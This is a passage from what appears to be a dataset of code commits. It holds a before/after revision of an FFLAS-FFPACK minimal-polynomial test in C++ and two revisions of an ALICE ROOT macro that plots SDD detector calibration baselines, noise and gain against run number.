FFLAS::fflas_new(F, n+1, n);\n    \n    \/* Horner's method for polynomial evaluation *\/\n    \n\tFFLAS::finit(F, n, V, n, E, n); \/\/E <- V\n\n    for(long i = deg; i > 0; --i)\n    {\n\t\tFFLAS::faxpy(F, F.one, n, minP[i-1], V, n, E, n); \/\/E <- minP[i-1] * V + E\n\t\tFFLAS::fassign(F, 1, n, E_tmp, n, E, n); \/\/E_tmp <- E\n\t\tFFLAS::fgemv(F, FFLAS::FflasNoTrans, n, n, F.one, A, n, E_tmp, n, F.zero, E, n);\/\/E <- E_tmp * A\n    }\n\t\n\tFFLAS::fflas_delete(E_tmp);\n\tFFLAS::fflas_delete(A);\n\tFFLAS::fflas_delete(V);\n\n    if (!FFLAS::fiszero(F, n, E, n))\n\t{\n\t\tcout<<\"NONZERO\"<<endl;\n\t\tfor(long i = 0; i<n; ++i)\n\t\t\tcout<<E[i]<<\" \";\n\t\tcout<<endl;\n\t\tFFLAS::fflas_delete(E);\n\t\treturn false;\n\t}\n\n\tFFLAS::fflas_delete(E);\n\treturn true;\n}\n\ntemplate <class Field>\nbool run_with_field (Givaro::Integer q, size_t b, size_t n, size_t iters, uint64_t seed)\n{\n\tbool ok = true;\n\tint nbiter = iters;\n\n\twhile (ok && nbiter)\n\t{\n\t\tField* F = chooseField<Field>(q, b); \/\/ F, characteristic q of b bits\n\t\ttypename Field::RandIter G(*F, 0, seed); \/\/random generator over F\n\t\t\n\t\tif(F == nullptr)\n\t\t\treturn true; \/\/if F is null, nothing to test, just pass\n\n\t\tcout<<\"Checking with \"; F->write(cout)<<endl;\n\n\t\tok = ok && check_minpoly(*F, n, G);\n\n\t\tif(!ok)\n\t\t\tcout<<\"FAILED\"<<endl;\n\t\telse\n\t\t\tcout<<\"PASS\"<<endl;\n\n\t\tdelete F;\n\t\tnbiter--;\n\t}\n\n\n\treturn ok;\n}\n\n\nint main(int argc, char** argv)\n{\n    \/* Test parameters *\/\n\tGivaro::Integer q = -1;\n\tsize_t b = 0;\n    size_t n = 128;\n\tsize_t iters = 1;\n\tbool loop = false;\n    uint64_t seed = time(NULL);\n\n\tArgument as[] = {\n\t\t{ 'q', \"-q Q\", \"Set the field characteristic (-1 for random).\",\tTYPE_INTEGER, &q },\n\t\t{ 'b', \"-b B\", \"Set the bitsize of the field characteristic.\", TYPE_INT, &b },\n\t\t{ 'n', \"-n N\", \"Set the order of the matrix.\", TYPE_INT, &b },\n\t\t{ 'i', \"-i, R\", \"set the number of repetitions.\", TYPE_INT, &iters },\n\t\t{ 'l', \"-loop Y\/N\", \"run the test in an infinite loop.\", TYPE_BOOL , &loop },\n\t\t{ 's', \"-s seed\", \"set seed for the random generator.\", TYPE_INT, &seed },\n\t\t\tEND_OF_ARGUMENTS\n\t\t};\n\n\tFFLAS::parseArguments(argc, argv, as);\n\n\tbool ok = true;\n\n\tdo\n\t{\n\t\tok &= run_with_field<Modular<double>>(q,b,n,iters,seed);\n\t\t\/\/more tests?\n\t} while(ok && loop);\n\n\treturn !ok ;\n}\n<commit_msg>Debugged minP(A)V = 0 check<commit_after>\/* -*- mode: C++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- *\/\n\/\/ vim:sts=4:sw=4:ts=4:noet:sr:cino=>s,f0,{0,g0,(0,\\:0,t0,+0,=s\n\n\/*\n * Copyright (C) FFLAS-FFPACK\n * Written by David Lucas\n * This file is Free Software and part of FFLAS-FFPACK.\n *\n * ========LICENCE========\n * This file is part of the library FFLAS-FFPACK.\n *\n * FFLAS-FFPACK is free software: you can redistribute it and\/or modify\n * it under the terms of the  GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n * ========LICENCE========\n *.\n *\/\n\n\/\/--------------------------------------------------------------------------\n\/\/                        Test for minpoly\n\/\/\n\/\/--------------------------------------------------------------------------\n\/\/ David Lucas\n\/\/-------------------------------------------------------------------------\n\n#include <iomanip>\n#include <iostream>\n\n#include \"fflas-ffpack\/fflas-ffpack-config.h\"\n#include \"fflas-ffpack\/fflas\/fflas.h\"\n#include \"fflas-ffpack\/ffpack\/ffpack.h\"\n#include \"fflas-ffpack\/utils\/args-parser.h\"\n#include \"fflas-ffpack\/utils\/fflas_randommatrix.h\"\n#include \"test-utils.h\"\n#include <givaro\/modular.h>\n#include <givaro\/modular-balanced.h>\n#include <givaro\/modular-integer.h>\n#include <givaro\/givpoly1factor.h>\n\nusing namespace std;\nusing namespace FFPACK;\nusing Givaro::Modular;\nusing Givaro::ModularBalanced;\n\ntypedef Givaro::ModularBalanced<double> Field;\ntypedef vector<Field::Element> Polynomial;\n\ntemplate<typename Field, class RandIter>\nbool check_minpoly(const Field &F, size_t n, RandIter& G)\n{\n\tcout<<\"Entering check_minpoly\"<<endl;\n\ttypedef typename Field::Element Element;\n\tsize_t lda, ldv;\n\tElement *A, *V, *Vcst;\n\n\t\/\/Default\n\tlda = n;\n\tldv = n; \n\n\t\/*Create variables used for testing (matrices, vectors and polynomials) *\/\n\n    A = FFLAS::fflas_new(F, n, n);\n    V = FFLAS::fflas_new(F, n+1, n);\n\tVcst = FFLAS::fflas_new(F, 1, n);\n    Polynomial minP;\n\n\n    FFPACK::RandomMatrix (F, n, n, A, lda, G);\n\n\tFFPACK::NonZeroRandomMatrix(F, 1, n, V, n, G); \n\tFFLAS::fassign(F, n, V, 1, Vcst, 1); \/\/MatVecMinPoly modifies V, we store it in Vcst beforehand\n\n\tFFPACK::MatVecMinPoly(F, minP, n, A, lda, V, ldv);\n\tFFLAS::fflas_delete(V);\n\n\t\/*Check that minP is monic*\/\n\n\tsize_t deg = minP.size() - 1;\n\tif(!(minP[deg]==F.one))\n\t\treturn false;\n\n\t\/*Check that minP(A).V is zero*\/\n\n\n\tElement *E, *E_tmp;\n    E = FFLAS::fflas_new(F, 1, n);\n\tE_tmp = FFLAS::fflas_new(F, 1, n);\n    \n    \/* Horner's method for polynomial evaluation *\/\n    \n\tFFLAS::fassign(F, n, Vcst, 1, E, 1); \/\/E <- V\n\n    for(long i = deg; i > 0; --i)\n    {\n\t\tFFLAS::fassign(F, n, E, 1, E_tmp, 1); \/\/E_tmp <- E\n\t\tFFLAS::fgemv(F, FFLAS::FflasNoTrans, n, n, F.one, A, lda, E_tmp, 1, F.zero, E, 1);\/\/E <- A * E_tmp\n\t\tFFLAS::faxpy(F, 1, n, minP[i-1], Vcst, 1, E, 1); \/\/E <- minP[i-1] * V + E\n    }\t\n\tFFLAS::fflas_delete(E_tmp);\n\n\t\/* Check minimality of minP *\/\n\n\t\/\/cout<<V[0]<<\" \"<<V[1]<<\" \"<<V[2]<<\" \"<<V[n-1]<<endl;\n\t\/\/ Krylov matrix computation\n\t\/\/Element *K, *u;\n\t\/\/size_t ldk = n;\n\t\/\/K = FFLAS::fflas_new(F, deg+1, ldk);\n\t\/\/u = FFLAS::fflas_new(F, n, 1);\n\t\/\/Element *Kptr = K;\n\t\/\/FFLAS::fassign(F, n, K, 1, V, n);\n\t\/\/cout<<V[0]<<\" \"<<K[0]<<\" \"<<endl;\n\t\/\/cout<<V[1]<<\" \"<<K[1]<<\" \"<<endl;\n\t\/\/cout<<V[2]<<\" \"<<K[2]<<\" \"<<endl;\n\t\/\/cout<<V[n]<<\" \"<<K[n]<<\" \"<<endl;\n\t\/\/cout<<V[n+1]<<\" \"<<K[n+1]<<\" \"<<endl;\n\n\n\n\t\/\/for(size_t i = 0; i <= deg; ++i, Kptr += ldk)\n\t\/\/{\n\t\/\/\tFFLAS::fgemv(F, FFLAS::FflasNoTrans, n, n, F.one, A, lda, u, 1, F.zero, Kptr, 1);\n\t\/\/\tFFLAS::fassign(F, n, Kptr, 1, u, 1);\n\t\/\/}\n\n\t\/\/minP factorization\n\t\n\t\n\t\/\/factorized minP checks\n\t\n\t\n\n\n\tFFLAS::fflas_delete(A);\n\tFFLAS::fflas_delete(Vcst);\n\t\/\/FFLAS::fflas_delete(K);\n\t\/\/FFLAS::fflas_delete(u);\n\n    if (!FFLAS::fiszero(F, n, E, 1))\n\t{\n\t\tcout<<\"NONZEROERROR\"<<endl;\n\t\tFFLAS::fflas_delete(E);\n\t\treturn false;\n\t}\n\n\tFFLAS::fflas_delete(E);\n\treturn true;\n}\n\ntemplate <class Field>\nbool run_with_field (Givaro::Integer q, size_t b, size_t n, size_t iters, uint64_t seed)\n{\n\tbool ok = true;\n\tint nbiter = iters;\n\n\twhile (ok && nbiter)\n\t{\n\t\tField* F = chooseField<Field>(q, b); \/\/ F, characteristic q of b bits\n\t\ttypename Field::RandIter G(*F, 0, seed); \/\/random generator over F\n\t\t\n\t\tif(F == nullptr)\n\t\t\treturn true; \/\/if F is null, nothing to test, just pass\n\n\t\tcout<<\"Checking with \"; F->write(cout)<<endl;\n\n\t\tok = ok && check_minpoly(*F, n, G);\n\n\t\tif(!ok)\n\t\t\tcout<<\"FAILED\"<<endl;\n\t\telse\n\t\t\tcout<<\"PASS\"<<endl;\n\n\t\tdelete F;\n\t\tnbiter--;\n\t}\n\n\n\treturn ok;\n}\n\n\nint main(int argc, char** argv)\n{\n    \/* Test parameters *\/\n\tGivaro::Integer q = -1;\n\tsize_t b = 0;\n    size_t n = 128;\n\tsize_t iters = 1;\n\tbool loop = false;\n    uint64_t seed = time(NULL);\n\n\tArgument as[] = {\n\t\t{ 'q', \"-q Q\", \"Set the field characteristic (-1 for random).\",\tTYPE_INTEGER, &q },\n\t\t{ 'b', \"-b B\", \"Set the bitsize of the field characteristic.\", TYPE_INT, &b },\n\t\t{ 'n', \"-n N\", \"Set the order of the matrix.\", TYPE_INT, &b },\n\t\t{ 'i', \"-i, R\", \"set the number of repetitions.\", TYPE_INT, &iters },\n\t\t{ 'l', \"-loop Y\/N\", \"run the test in an infinite loop.\", TYPE_BOOL , &loop },\n\t\t{ 's', \"-s seed\", \"set seed for the random generator.\", TYPE_INT, &seed },\n\t\t\tEND_OF_ARGUMENTS\n\t\t};\n\n\tFFLAS::parseArguments(argc, argv, as);\n\n\tbool ok = true;\n\n\tdo\n\t{\n\t\tok &= run_with_field<Modular<double>>(q,b,n,iters,seed);\n\t\t\/\/more tests?\n\t} while(ok && loop);\n\n\treturn !ok ;\n}\n<|endoftext|>"}
{"text":"<commit_before>#if !defined(__CINT__) || defined(__MAKECINT__)\n#include <TFile.h>\n#include <TH1F.h>\n#include <TGraph.h>\n#include <TGraphErrors.h>\n#include <TStyle.h>\n#include <TGrid.h>\n#include <TCanvas.h>\n#include <TSystem.h>\n#include <TLatex.h>\n#include <TObjArray.h>\n#include \"AliCDBEntry.h\"\n#include \"AliITSCalibrationSDD.h\"\n#endif\n\n\/*  $Id$    *\/\n\n\/\/ Macro to plot the calibration parameters from the OCDB files \n\/\/ created from PEDESTAL and PULSER runs vs. Time\n\/\/ Origin: F. Prino (prino@to.infn.it)\n\nvoid PlotCalibSDDVsTime(Int_t firstRun=77677, Int_t lastRun=999999999){\n\n  gStyle->SetOptTitle(0);\n  gStyle->SetOptStat(0);\n  gStyle->SetPadLeftMargin(0.14);\n  gStyle->SetTitleOffset(1.4,\"Y\");  \n\n\n  TGrid::Connect(\"alien:\",0,0,\"t\");\n  gSystem->Exec(\"gbbox find \\\"\/alice\/data\/2009\/OCDB\/ITS\/Calib\/CalibSDD\\\" \\\"Run*.root\\\" > runCalibAlien.txt\");\n  FILE* listruns=fopen(\"runCalibAlien.txt\",\"r\");\n\n  TH1F* hbase=new TH1F(\"hbase\",\"\",60,0.5,120.5);\n  TH1F* hnoise=new TH1F(\"hnoise\",\"\",100,0.,7.);\n  TH1F* hgain=new TH1F(\"hgain\",\"\",100,0.,4.);\n  TH1F* hchstatus=new TH1F(\"hchstatus\",\"\",2,-0.5,1.5);\n  TGraphErrors* gbasevstim=new TGraphErrors(0);\n  TGraphErrors* gnoisevstim=new TGraphErrors(0);\n  TGraphErrors* ggainvstim=new TGraphErrors(0);\n  TGraphErrors* gstatvstim=new TGraphErrors(0);\n  gbasevstim->SetName(\"gbasevstim\");\n  gnoisevstim->SetName(\"gnoisevstim\");\n  ggainvstim->SetName(\"ggainvstim\");\n  gstatvstim->SetName(\"gstatvstim\");\n  gbasevstim->SetTitle(\"Baseline vs. run\");\n  gnoisevstim->SetTitle(\"Noise vs. run\");\n  ggainvstim->SetTitle(\"Gain vs. run\");\n  gstatvstim->SetTitle(\"Good Anodes vs. run\");\n\n\n  Char_t filnam[200],filnamalien[200];\n  Int_t iPoint=0;\n  Int_t nrun,nrun2,nv,ns;\n\n  while(!feof(listruns)){\n    hbase->Reset();\n    hnoise->Reset();\n    hgain->Reset();\n    hchstatus->Reset();\n    fscanf(listruns,\"%s\\n\",filnam);    \n    if(!strstr(filnam,\"\/alice\/data\/2009\")) continue;\n    sscanf(filnam,\"\/alice\/data\/2009\/OCDB\/ITS\/Calib\/CalibSDD\/Run%d_%d_v%d_s%d.root\",&nrun,&nrun2,&nv,&ns);\n    if(nrun<85639 && nrun2> 85639) continue; \/\/ protection for files with swapped ladders 4-5 of layer 3 \n    if(nrun>100000 && nv< 184) continue; \/\/ protection for files with swapped ladder 0-1 of layer 4\n    if(nrun<firstRun) continue;\n    if(nrun>lastRun) continue;\n    sprintf(filnamalien,\"alien:\/\/%s\",filnam);\n    printf(\"Open file: %s\\n\",filnam);\n    TFile *f= TFile::Open(filnamalien);  \n    AliCDBEntry *ent=(AliCDBEntry*)f->Get(\"AliCDBEntry\");\n    TObjArray *calSDD = (TObjArray *)ent->GetObject();\n    printf(\"Run %d Entries in array=%d Entries in Histo=%d\\n\",nrun,calSDD->GetEntriesFast(),int(hbase->GetEntries()));\n\n\n    AliITSCalibrationSDD *cal;\n    for(Int_t iMod=0; iMod<260;iMod++){\n      cal=(AliITSCalibrationSDD*)calSDD->At(iMod);\n      if(cal==0) continue;\n      for(Int_t iAn=0; iAn<512; iAn++){\n\tInt_t ic=cal->GetChip(iAn);\n\tFloat_t base=cal->GetBaseline(iAn);\n\tFloat_t noise=cal->GetNoiseAfterElectronics(iAn);\n\tFloat_t gain=cal->GetChannelGain(iAn);\n\tif(cal->IsBadChannel(iAn)) hchstatus->Fill(0);\n\tif(!cal->IsBadChannel(iAn) && !cal->IsChipBad(ic) && !cal->IsBad() ){\n\t  hbase->Fill(base);\n\t  hchstatus->Fill(1);\n\t  hnoise->Fill(noise);\n\t  hgain->Fill(gain);\n\t}\n      } \n    }\n    printf(\"Set Point %d run %d Base = %f Noise =%f Entries = %d\\n\",iPoint,nrun,hbase->GetMean(),hnoise->GetMean(),(Int_t)hbase->GetEntries());\n    if((Int_t)hbase->GetEntries()==0) continue;\n    gbasevstim->SetPoint(iPoint,(Double_t)nrun,hbase->GetMean());\n    gbasevstim->SetPointError(iPoint,0.,hbase->GetRMS());\n    gnoisevstim->SetPoint(iPoint,(Double_t)nrun,hnoise->GetMean());\n    gnoisevstim->SetPointError(iPoint,0.,hnoise->GetRMS());\n    ggainvstim->SetPoint(iPoint,(Double_t)nrun,hgain->GetMean());\n    ggainvstim->SetPointError(iPoint,0.,hgain->GetRMS());\n    gstatvstim->SetPoint(iPoint,(Double_t)nrun,hchstatus->GetBinContent(2));\n    iPoint++;\n    f->Close();\n  }\n\n  TFile *ofil=new TFile(\"Calib2009VsTime.root\",\"recreate\");\n  gbasevstim->Write();\n  gnoisevstim->Write();\n  ggainvstim->Write();\n  gstatvstim->Write();\n  ofil->Close();\n\n  TCanvas* cbase=new TCanvas(\"cbase\",\"Baselines\");\n  gbasevstim->SetFillColor(kOrange-2);\n  gbasevstim->SetMarkerStyle(20);\n  gbasevstim->Draw(\"AP3\");\n  gbasevstim->Draw(\"PLXSAME\");\n  gbasevstim->SetMinimum(0.);\n  gbasevstim->SetMaximum(70.);  \n  gbasevstim->GetXaxis()->SetTitle(\"Run number\");\n  gbasevstim->GetYaxis()->SetTitle(\"<Baseline> (ADC counts)\");\n  cbase->SaveAs(\"BaseRun09.gif\");\n\n  TCanvas* cnoise=new TCanvas(\"cnoise\",\"Noise\");\n  gnoisevstim->SetFillColor(kOrange-2);\n  gnoisevstim->SetMarkerStyle(20);\n  gnoisevstim->Draw(\"AP3\");\n  gnoisevstim->Draw(\"PLXSAME\");\n  gnoisevstim->SetMinimum(0.);\n  gnoisevstim->SetMaximum(4.);\n  gnoisevstim->GetXaxis()->SetTitle(\"Run number\");\n  gnoisevstim->GetYaxis()->SetTitle(\"<Noise> (ADC counts)\");\n  cnoise->SaveAs(\"NoiseRun09.gif\");\n\n  TCanvas* cgain=new TCanvas(\"cgain\",\"Gain\");\n  ggainvstim->SetFillColor(kOrange-2);\n  ggainvstim->SetMarkerStyle(20);\n  ggainvstim->Draw(\"AP3\");\n  ggainvstim->Draw(\"PLXSAME\");\n  ggainvstim->SetMinimum(0.);\n  ggainvstim->SetMaximum(4.);\n  ggainvstim->GetXaxis()->SetTitle(\"Run number\");\n  ggainvstim->GetYaxis()->SetTitle(\"<Gain> (ADC\/DAC)\");\n  cgain->SaveAs(\"GainRun09.gif\");\n\n  TCanvas* cfrac=new TCanvas(\"cfrac\",\"Good channels\");\n  gstatvstim->SetFillColor(kOrange-2);\n  gstatvstim->SetMarkerStyle(20);\n  gstatvstim->Draw(\"AP3\");\n  gstatvstim->Draw(\"PLXSAME\");\n  gstatvstim->SetMinimum(100000.);\n  gstatvstim->SetMaximum(133000.);\n  gstatvstim->GetXaxis()->SetTitle(\"Run number\");\n  gstatvstim->GetYaxis()->SetTitle(\"Number of good anodes in acquisition\");\n  cfrac->SaveAs(\"GoodAnodesRun09.gif\");\n\n}\n<commit_msg>Macro to visualize SDD calibration parameters updated for 2010 runs<commit_after>#if !defined(__CINT__) || defined(__MAKECINT__)\n#include <TFile.h>\n#include <TH1F.h>\n#include <TGraph.h>\n#include <TGraphErrors.h>\n#include <TStyle.h>\n#include <TGrid.h>\n#include <TCanvas.h>\n#include <TSystem.h>\n#include <TLatex.h>\n#include <TObjArray.h>\n#include \"AliCDBEntry.h\"\n#include \"AliITSCalibrationSDD.h\"\n#endif\n\n\/*  $Id$    *\/\n\n\/\/ Macro to plot the calibration parameters from the OCDB files \n\/\/ created from PEDESTAL and PULSER runs vs. Time\n\/\/ Origin: F. Prino (prino@to.infn.it)\n\nvoid PlotCalibSDDVsTime(Int_t year=2010, Int_t firstRun=77677, \n\t\t\tInt_t lastRun=999999999){\n\n  gStyle->SetOptTitle(0);\n  gStyle->SetOptStat(0);\n  gStyle->SetPadLeftMargin(0.14);\n  gStyle->SetTitleOffset(1.4,\"Y\");  \n\n\n  TGrid::Connect(\"alien:\",0,0,\"t\");\n  gSystem->Exec(Form(\"gbbox find \\\"\/alice\/data\/%d\/OCDB\/ITS\/Calib\/CalibSDD\\\" \\\"Run*.root\\\" > runCalibAlien.txt\",year));\n  FILE* listruns=fopen(\"runCalibAlien.txt\",\"r\");\n\n  TH1F* hbase=new TH1F(\"hbase\",\"\",60,0.5,120.5);\n  TH1F* hnoise=new TH1F(\"hnoise\",\"\",100,0.,7.);\n  TH1F* hgain=new TH1F(\"hgain\",\"\",100,0.,4.);\n  TH1F* hchstatus=new TH1F(\"hchstatus\",\"\",2,-0.5,1.5);\n  TGraphErrors* gbasevstim=new TGraphErrors(0);\n  TGraphErrors* gnoisevstim=new TGraphErrors(0);\n  TGraphErrors* ggainvstim=new TGraphErrors(0);\n  TGraphErrors* gstatvstim=new TGraphErrors(0);\n  gbasevstim->SetName(\"gbasevstim\");\n  gnoisevstim->SetName(\"gnoisevstim\");\n  ggainvstim->SetName(\"ggainvstim\");\n  gstatvstim->SetName(\"gstatvstim\");\n  gbasevstim->SetTitle(\"Baseline vs. run\");\n  gnoisevstim->SetTitle(\"Noise vs. run\");\n  ggainvstim->SetTitle(\"Gain vs. run\");\n  gstatvstim->SetTitle(\"Good Anodes vs. run\");\n\n\n  Char_t filnam[200],filnamalien[200];\n  Int_t iPoint=0;\n  Int_t nrun,nrun2,nv,ns;\n\n  while(!feof(listruns)){\n    hbase->Reset();\n    hnoise->Reset();\n    hgain->Reset();\n    hchstatus->Reset();\n    fscanf(listruns,\"%s\\n\",filnam);    \n    Char_t directory[100];\n    sprintf(directory,\"\/alice\/data\/%d\",year);\n    if(!strstr(filnam,directory)) continue;\n    sscanf(filnam,\"\/alice\/data\/%d\/OCDB\/ITS\/Calib\/CalibSDD\/Run%d_%d_v%d_s%d.root\",&year,&nrun,&nrun2,&nv,&ns);\n    if(year==2009 && (nrun<85639 && nrun2> 85639)) continue; \/\/ protection for files with swapped ladders 4-5 of layer 3 \n    if(year==2009 && (nrun>100000 && nv< 184)) continue; \/\/ protection for files with swapped ladder 0-1 of layer 4\n    if(nrun<firstRun) continue;\n    if(nrun>lastRun) continue;\n    sprintf(filnamalien,\"alien:\/\/%s\",filnam);\n    printf(\"Open file: %s\\n\",filnam);\n    TFile *f= TFile::Open(filnamalien);  \n    AliCDBEntry *ent=(AliCDBEntry*)f->Get(\"AliCDBEntry\");\n    TObjArray *calSDD = (TObjArray *)ent->GetObject();\n    printf(\"Run %d Entries in array=%d \\n\",nrun,calSDD->GetEntriesFast());\n\n\n    AliITSCalibrationSDD *cal;\n    for(Int_t iMod=0; iMod<260;iMod++){\n      cal=(AliITSCalibrationSDD*)calSDD->At(iMod);\n      if(cal==0) continue;\n      for(Int_t iAn=0; iAn<512; iAn++){\n\tInt_t ic=cal->GetChip(iAn);\n\tFloat_t base=cal->GetBaseline(iAn);\n\tFloat_t noise=cal->GetNoiseAfterElectronics(iAn);\n\tFloat_t gain=cal->GetChannelGain(iAn);\n\tif(cal->IsBadChannel(iAn)) hchstatus->Fill(0);\n\tif(!cal->IsBadChannel(iAn) && !cal->IsChipBad(ic) && !cal->IsBad() ){\n\t  hbase->Fill(base);\n\t  hchstatus->Fill(1);\n\t  hnoise->Fill(noise);\n\t  hgain->Fill(gain);\n\t}\n      } \n    }\n    printf(\"Run %d <Base> = %f <Noise> =%f Entries = %d\\n\",nrun,hbase->GetMean(),hnoise->GetMean(),(Int_t)hbase->GetEntries());\n    if((Int_t)hbase->GetEntries()==0) continue;\n    gbasevstim->SetPoint(iPoint,(Double_t)nrun,hbase->GetMean());\n    gbasevstim->SetPointError(iPoint,0.,hbase->GetRMS());\n    gnoisevstim->SetPoint(iPoint,(Double_t)nrun,hnoise->GetMean());\n    gnoisevstim->SetPointError(iPoint,0.,hnoise->GetRMS());\n    ggainvstim->SetPoint(iPoint,(Double_t)nrun,hgain->GetMean());\n    ggainvstim->SetPointError(iPoint,0.,hgain->GetRMS());\n    gstatvstim->SetPoint(iPoint,(Double_t)nrun,hchstatus->GetBinContent(2));\n    iPoint++;\n    f->Close();\n  }\n\n  TFile *ofil=new TFile(Form(\"Calib%dVsTime.root\",year),\"recreate\");\n  gbasevstim->Write();\n  gnoisevstim->Write();\n  ggainvstim->Write();\n  gstatvstim->Write();\n  ofil->Close();\n\n  TCanvas* cbase=new TCanvas(\"cbase\",\"Baselines\");\n  gbasevstim->SetFillColor(kOrange-2);\n  gbasevstim->SetMarkerStyle(20);\n  gbasevstim->Draw(\"AP3\");\n  gbasevstim->Draw(\"PLXSAME\");\n  gbasevstim->SetMinimum(0.);\n  gbasevstim->SetMaximum(70.);  \n  gbasevstim->GetXaxis()->SetTitle(\"Run number\");\n  gbasevstim->GetYaxis()->SetTitle(\"<Baseline> (ADC counts)\");\n  cbase->SaveAs(\"BaseRun09.gif\");\n\n  TCanvas* cnoise=new TCanvas(\"cnoise\",\"Noise\");\n  gnoisevstim->SetFillColor(kOrange-2);\n  gnoisevstim->SetMarkerStyle(20);\n  gnoisevstim->Draw(\"AP3\");\n  gnoisevstim->Draw(\"PLXSAME\");\n  gnoisevstim->SetMinimum(0.);\n  gnoisevstim->SetMaximum(4.);\n  gnoisevstim->GetXaxis()->SetTitle(\"Run number\");\n  gnoisevstim->GetYaxis()->SetTitle(\"<Noise> (ADC counts)\");\n  cnoise->SaveAs(\"NoiseRun09.gif\");\n\n  TCanvas* cgain=new TCanvas(\"cgain\",\"Gain\");\n  ggainvstim->SetFillColor(kOrange-2);\n  ggainvstim->SetMarkerStyle(20);\n  ggainvstim->Draw(\"AP3\");\n  ggainvstim->Draw(\"PLXSAME\");\n  ggainvstim->SetMinimum(0.);\n  ggainvstim->SetMaximum(4.);\n  ggainvstim->GetXaxis()->SetTitle(\"Run number\");\n  ggainvstim->GetYaxis()->SetTitle(\"<Gain> (ADC\/DAC)\");\n  cgain->SaveAs(\"GainRun09.gif\");\n\n  TCanvas* cfrac=new TCanvas(\"cfrac\",\"Good channels\");\n  gstatvstim->SetFillColor(kOrange-2);\n  gstatvstim->SetMarkerStyle(20);\n  gstatvstim->Draw(\"AP3\");\n  gstatvstim->Draw(\"PLXSAME\");\n  gstatvstim->SetMinimum(100000.);\n  gstatvstim->SetMaximum(133000.);\n  gstatvstim->GetXaxis()->SetTitle(\"Run number\");\n  gstatvstim->GetYaxis()->SetTitle(\"Number of good anodes in acquisition\");\n  cfrac->SaveAs(\"GoodAnodesRun09.gif\");\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#if !defined(__CINT__) || defined(__MAKECINT__)\n#include <TFile.h>\n#include <TH1F.h>\n#include <TGraph.h>\n#include <TGraphErrors.h>\n#include <TStyle.h>\n#include <TGrid.h>\n#include <TCanvas.h>\n#include <TSystem.h>\n#include <TLatex.h>\n#include <TObjArray.h>\n#include \"AliCDBEntry.h\"\n#include \"AliITSCalibrationSDD.h\"\n#endif\n\n\/*  $Id$    *\/\n\n\/\/ Macro to plot the calibration parameters from the OCDB files \n\/\/ created from PEDESTAL and PULSER runs vs. Time\n\/\/ Origin: F. Prino (prino@to.infn.it)\n\nvoid PlotCalibSDDVsTime(Int_t year=2010, Int_t firstRun=77677, \n\t\t\tInt_t lastRun=999999999){\n\n  gStyle->SetOptTitle(0);\n  gStyle->SetOptStat(0);\n  gStyle->SetPadLeftMargin(0.14);\n  gStyle->SetTitleOffset(1.4,\"Y\");  \n\n\n  TGrid::Connect(\"alien:\",0,0,\"t\");\n  gSystem->Exec(Form(\"gbbox find \\\"\/alice\/data\/%d\/OCDB\/ITS\/Calib\/CalibSDD\\\" \\\"Run*.root\\\" > runCalibAlien.txt\",year));\n  FILE* listruns=fopen(\"runCalibAlien.txt\",\"r\");\n\n  TH1F* hbase=new TH1F(\"hbase\",\"\",60,0.5,120.5);\n  TH1F* hnoise=new TH1F(\"hnoise\",\"\",100,0.,7.);\n  TH1F* hgain=new TH1F(\"hgain\",\"\",100,0.,4.);\n  TH1F* hchstatus=new TH1F(\"hchstatus\",\"\",2,-0.5,1.5);\n  TGraphErrors* gbasevstim=new TGraphErrors(0);\n  TGraphErrors* gnoisevstim=new TGraphErrors(0);\n  TGraphErrors* ggainvstim=new TGraphErrors(0);\n  TGraphErrors* gstatvstim=new TGraphErrors(0);\n  gbasevstim->SetName(\"gbasevstim\");\n  gnoisevstim->SetName(\"gnoisevstim\");\n  ggainvstim->SetName(\"ggainvstim\");\n  gstatvstim->SetName(\"gstatvstim\");\n  gbasevstim->SetTitle(\"Baseline vs. run\");\n  gnoisevstim->SetTitle(\"Noise vs. run\");\n  ggainvstim->SetTitle(\"Gain vs. run\");\n  gstatvstim->SetTitle(\"Good Anodes vs. run\");\n\n\n  Char_t filnam[200],filnamalien[200];\n  Int_t iPoint=0;\n  Int_t nrun,nrun2,nv,ns;\n\n  while(!feof(listruns)){\n    hbase->Reset();\n    hnoise->Reset();\n    hgain->Reset();\n    hchstatus->Reset();\n    fscanf(listruns,\"%s\\n\",filnam);    \n    Char_t directory[100];\n    sprintf(directory,\"\/alice\/data\/%d\",year);\n    if(!strstr(filnam,directory)) continue;\n    sscanf(filnam,\"\/alice\/data\/%d\/OCDB\/ITS\/Calib\/CalibSDD\/Run%d_%d_v%d_s%d.root\",&year,&nrun,&nrun2,&nv,&ns);\n    if(year==2009 && (nrun<85639 && nrun2> 85639)) continue; \/\/ protection for files with swapped ladders 4-5 of layer 3 \n    if(year==2009 && (nrun>100000 && nv< 184)) continue; \/\/ protection for files with swapped ladder 0-1 of layer 4\n    if(year==2010 && (nrun>=114603 && nv< 98)) continue; \/\/ protection for files without treatment of masked hybrids \n    if(nrun<firstRun) continue;\n    if(nrun>lastRun) continue;\n    sprintf(filnamalien,\"alien:\/\/%s\",filnam);\n    printf(\"Open file: %s\\n\",filnam);\n    TFile *f= TFile::Open(filnamalien);  \n    AliCDBEntry *ent=(AliCDBEntry*)f->Get(\"AliCDBEntry\");\n    TObjArray *calSDD = (TObjArray *)ent->GetObject();\n    printf(\"Run %d Entries in array=%d \\n\",nrun,calSDD->GetEntriesFast());\n\n\n    AliITSCalibrationSDD *cal;\n    for(Int_t iMod=0; iMod<260;iMod++){\n      cal=(AliITSCalibrationSDD*)calSDD->At(iMod);\n      if(cal==0) continue;\n      for(Int_t iAn=0; iAn<512; iAn++){\n\tInt_t ic=cal->GetChip(iAn);\n\tFloat_t base=cal->GetBaseline(iAn);\n\tFloat_t noise=cal->GetNoiseAfterElectronics(iAn);\n\tFloat_t gain=cal->GetChannelGain(iAn);\n\tif(cal->IsBadChannel(iAn)) hchstatus->Fill(0);\n\tif(!cal->IsBadChannel(iAn) && !cal->IsChipBad(ic) && !cal->IsBad() ){\n\t  hbase->Fill(base);\n\t  hchstatus->Fill(1);\n\t  hnoise->Fill(noise);\n\t  